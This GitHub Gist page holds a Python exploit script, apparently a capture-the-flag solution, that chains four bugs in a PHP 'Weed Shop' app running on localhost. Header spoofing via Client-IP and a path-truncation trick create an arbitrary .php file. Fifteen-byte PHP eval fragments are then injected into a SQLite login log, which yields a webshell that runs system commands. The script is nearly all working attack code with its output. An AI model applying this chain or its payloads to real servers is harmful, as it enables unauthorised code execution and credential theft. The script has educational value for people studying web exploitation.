Last active
July 3, 2023 07:12
-
-
Save pich4ya/1251c79d6449a384e726a0577918c6db to your computer and use it in GitHub Desktop.
Weed Shop RCE Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# @author Pichaya Morimoto ([email protected]) | |
# 2023-03-07 | |
# Weed Shop RCE Exploit | |
import requests | |
def create_dbfile(filename): | |
# Vulnerability 1: IP Spoofing | |
# File: function.php | |
# function get_ipaddress(){ | |
# if (getenv('HTTP_CLIENT_IP')) return getenv('HTTP_CLIENT_IP'); | |
# return getenv('REMOTE_ADDR'); | |
# } | |
burp0_url = "http://127.0.0.1:7001/" | |
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Client-IP": filename, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} | |
r =requests.get(burp0_url, headers=burp0_headers) | |
# PHPSESSID= | |
return r.headers['Set-Cookie'].split(';')[0].split('=')[1] | |
# print(PHPSESSID) | |
# gen aaa... file (a*100) | |
# Client-IP: a*100 | |
char='a' | |
create_dbfile(char*100) | |
# Vulnerability 2: Arbitrary File Creation (Bypass .sql suffix) | |
# File: preparedb.php | |
# session_start(); | |
# if(!isset($_SESSION['dbcon'])){ | |
# $_SESSION['userip'] = get_ipaddress(); | |
# $_SESSION['dbpath'] = dirname(__FILE__)."/db/"; | |
# $_SESSION['dbfile'] = $_SESSION['dbpath'].$_SESSION['userip'].".sql"; | |
# | |
# File: function.php | |
# function get_DBConnection(){ | |
# /* db fullpath limit 100 chars */ | |
# $dbfile = substr($_SESSION['dbfile'],0,100); | |
# $dbconn = new SQLite3($dbfile); | |
# return $dbconn; | |
# } | |
# Note: | |
# http://127.0.0.1:7001/db/(a*100) | |
# will not work b/c the max length 100 also includes prefix path like /var/www/html/ | |
# so we need to find the exact offset for the total length of 100 | |
# bruteforce from a*100 to a*1 | |
offset=0 | |
for i in range(100,0,-1): | |
a=char*i | |
# Vulnerability 3: Sensitive Information Disclosure (SQLite database file containing user credentials) | |
burp0_url = "http://127.0.0.1:7001/db/"+a | |
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} | |
r = requests.get(burp0_url, headers=burp0_headers) | |
# if file exists | |
if r.status_code == 200: | |
print('found path at '+ burp0_url) | |
offset=i | |
break | |
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | |
print('offset', i) | |
# replace the last 4 a with .php | |
offset=offset-4 | |
shell_filename=(char*offset)+'.php' | |
print(shell_filename) | |
# Create PHP Webshell with .php file extension | |
PHPSESSID = create_dbfile(shell_filename) | |
print(PHPSESSID) | |
# Vulnerability 4: Remote Code Execution (RCE) | |
# We can inject PHP code into our PHP Webshell by calling the loginlog() function during the login action | |
# File: login.php | |
# if($user && $pass){ | |
# $data=authenticate($user,$pass); | |
# if(isset($data['userid'])){ | |
# $_SESSION['userid'] = $data['userid']; | |
# $_SESSION['username'] = $data['user']; | |
# $_SESSION['role'] = $data['role']; | |
# $res = loginlog($_SESSION['userid'],get_ipaddress()); | |
# | |
# However, it only gets the first 15 bytes from the HTTP header Client-IP | |
# File: function.php | |
# function loginlog($id,$userip){ | |
# $db = get_DBConnection(); | |
# $userip = substr($userip,0,15); | |
# $stmt = $db->prepare("INSERT INTO lastlogin (logid,userid,lastip) VALUES (NULL,:uid,:userip);"); | |
# $stmt->bindValue(':uid', $id, SQLITE3_INTEGER); | |
# $stmt->bindValue(':userip', $userip, SQLITE3_TEXT); | |
# return $stmt->execute(); | |
# } | |
# | |
# The challenge here is the SQLite database file structure also contains non-ASCII bytes | |
# | |
# There are plenty of options here for the hackers. | |
# My approach is to inject pieces of PHP code that are separated by comments like | |
# <junk bytes> <?php /* <junk bytes> | |
# <junk bytes> */ PHP-CODE-HERE /* <junk bytes> | |
# <junk bytes> */ PHP-CODE-HERE /* <junk bytes> | |
# <junk bytes> */ PHP-CODE-HERE /* <junk bytes> | |
# <junk bytes> */ ?> <junk bytes> | |
# First, we need to register in order to reach the loginlog() function | |
burp0_url = "http://127.0.0.1:7001/register.php" | |
burp0_cookies = { "PHPSESSID": PHPSESSID} | |
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1:7001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1:7001/register.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} | |
burp0_data = {"username": "ggez", "password": "ggez"} | |
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) | |
# each payload has a max length of 15 bytes | |
exploit_payloads =[ | |
'<?php /*', # length = 8 | |
'*/$a=$_GET[0]/*', # length = 15 | |
'*/;eval($a);/*', # length = 14 | |
'*/?>' # length = 4 | |
] | |
# However, by inspecting the content of the SQLite (open with a hex editor) | |
# The injected payload will be stored in a reversed order so we need to reverse it | |
exploit_payloads = list(reversed(exploit_payloads)) | |
for payload in exploit_payloads: | |
burp0_url = "http://127.0.0.1:7001/login.php" | |
# Fix PHPSESSID for the PHP Webshell's SQLite database file | |
burp0_cookies = {"PHPSESSID": PHPSESSID} | |
# Put each payload into the PHP Webshell's SQLite database file | |
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Client-IP": payload, "Origin": "http://127.0.0.1:7001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1:7001/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} | |
# credential has to be valid | |
burp0_data = {"username": "ggez", "password": "ggez"} | |
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) | |
# Check our shell | |
os_command='id' | |
php_command=f'system("{os_command}");' | |
print(php_command) | |
burp0_url = f'http://127.0.0.1:7001/db/{shell_filename}?0={php_command}' | |
print(burp0_url) | |
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} | |
r=requests.get(burp0_url, headers=burp0_headers) | |
print(r.text) | |
# http://127.0.0.1:7001/db/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php?0=system(%22id%22); | |
# uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment